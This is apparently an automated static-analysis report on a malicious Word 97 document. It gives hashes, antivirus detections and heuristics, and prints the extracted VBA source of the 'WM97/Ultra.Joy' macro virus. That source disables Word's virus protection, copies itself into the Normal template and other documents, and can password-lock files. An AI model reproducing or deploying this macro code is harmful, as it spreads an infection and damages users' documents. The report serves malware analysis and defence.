Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 efa0c95ef0aa9842…

MALICIOUS

Office (OLE)

37.0 KB Created: 1999-02-22 07:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 794c08e326cbddf965bf35036dd0a616 SHA-1: 1e4237422e1a98ef9d0b3375579ac58647f020db SHA-256: efa0c95ef0aa98420ea4530b3ab9038387747ee3d8ce774b358952768e497d82
240 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment

The document body provides detailed instructions for removing the Happy99.exe malware, indicating the file itself is likely a lure or part of a malware infection chain. The presence of AutoOpen and AutoClose macros, along with legacy WordBasic markers, suggests malicious VBA code was used to execute or facilitate the infection. The ClamAV detections further confirm the malicious nature of the file.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-39 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-39
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14487 bytes
SHA-256: cfa6ae23745ec8cbc81e222ed5de3e31f98fe33b0555420b4e4b231148cf0726
Detection
ClamAV: Doc.Trojan.Class-16
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

Dim rsx, rox, xix, xxi As Integer: Dim xxe, xex, exx, exd, cxi, cix, xic, eox, xoe, oxe, cii, rxe, rex, exr, nix, ixn, nxi, lnr, nrl, rnl As String

Randomize

On Error GoTo 79

Options.VirusProtection = Chr(48)

Options.SaveNormalPrompt = Chr(48)

Options.ConfirmConversions = Chr(48)

rt = ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.countoflines

dt = NormalTemplate.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.countoflines

If dt > 0 And rt > 0 Then GoTo 79

If dt = 0 Then

    Set Joy = NormalTemplate.VBProject.VBComponents

    Set hst = ActiveDocument.VBProject.VBComponents

    If Month(Now()) = 10 And Day(Now()) = 23 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83) + Chr(32) + Chr(83) + Chr(65) + Chr(89) + Chr(83) + Chr(32) + Chr(72) + Chr(73)

    If Month(Now()) = 11 And Day(Now()) = 24 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(67) + Chr(76) + Chr(65) + Chr(83) + Chr(83) + Chr(32) + Chr(74) + Chr(79) + Chr(89)

    If Month(Now()) = 12 And Day(Now()) = 25 Then Application.ActiveDocument.Password = "Ultra.Joy"

    hst.Item(Cos(Atn(CInt(1)))).Name = Joy.Item(Cos(Atn(CInt(1)))).Name

    hst.Item(Cos(Atn(CInt(1)))).Export Application.StartupPath & System.Version & Chr(74) + Chr(79) + Chr(89)
    
End If

If rt = 0 Then Set Joy = ActiveDocument.VBProject.VBComponents

Joy.Item(Cos(Atn(CInt(1)))).codemodule.AddFromFile Application.StartupPath & System.Version & Chr(74) + Chr(79) + Chr(89)

With Joy.Item(Cos(Atn(CInt(1)))).codemodule

    For j = Chr(49) To Chr(52)

    .deletelines Chr(49)

    Next j

    End With

If dt = 0 Then Joy.Item(Cos(Atn(CInt(1)))).codemodule.replaceline 1, "Sub AutoClose()"

If dt = 0 Then Joy.Item(Cos(Atn(CInt(1)))).codemodule.replaceline 85, "Sub ToolsMarco()"

If dt = 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

With Joy.Item(Cos(Atn(CInt(1)))).codemodule

   For j = Chr(50) To Joy.Item(Cos(Atn(CInt(1)))).codemodule.countoflines Step Chr(50)

    rsx = Int(Rnd(11) * 2998) + 24: rox = Int(Rnd(15) * 5863) + 33: xix = Int(Rnd(44) * 3544) + 55

    cii = Asc(rsx): eox = Chr$(cii + 5): xoe = Chr$(cii - 14): oxe = Chr$(cii + 22): lnr = Chr$(cii - 4)

    cix = Asc(rox): rxe = Chr$(cix + 7): rex = Chr$(cix - 16): exr = Chr$(cix + 4): nrl = Chr$(cix - 17)

    xic = Asc(xix): nix = Chr$(xic + 9): ixn = Chr$(xic - 18): nxi = Chr$(xic + 8): rnl = Chr$(xic - 33)
    
    cxi = Asc(xxi): xxe = Chr$(cxi + 4): xex = Chr$(cxi - 3): exx = Chr$(cxi + 18): exd = Chr$(cxi - 12)

    .replaceline j, Chr(39) & eox & rxe & nix & xoe & rex & ixn & oxe & exr & nix & lnr & nrl & rnl & xxe & xex & exx & exd & xoe & rex & ixn & oxe & exr & nix & rnl & xxe & xex & exx & exd & xoe & eox & rxe & nix & xoe & rex

   Next j

End With

79:

If dt <> 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Sub ViewVBCode() 'WM97/Ultra.Joy by Virus :) Smile

End Sub


' Processing file: /opt/analyzer/scan_staging/545c24d8c934416c9228baee2eefab0b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6666 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	Dim 
' 	VarDefn rsx
' 	VarDefn rox
' 	VarDefn xix
' 	VarDefn xxi (As Integer)
' 	BoS 0x0000 
' 	Dim 
' 	VarDefn xxe
' 	VarDefn xex
' 	VarDefn exx
' 	VarDefn exd
' 	VarDefn cxi
' 	VarDefn cix
' 	VarDefn xic
' 	VarDefn eox
' 	VarDefn xoe
' 	VarDefn oxe
' 	VarDefn cii
' 	VarDefn rxe
' 	VarDefn rex
' 	VarDefn exr
' 	VarDefn nix
' 	VarDefn ixn
' 	VarDefn nxi
' 	VarDefn lnr
' 	VarDefn nrl
' 	VarDefn rnl (As String)
' Line #3:
' Line #4:
' 	ArgsCall Read 0
... (truncated)

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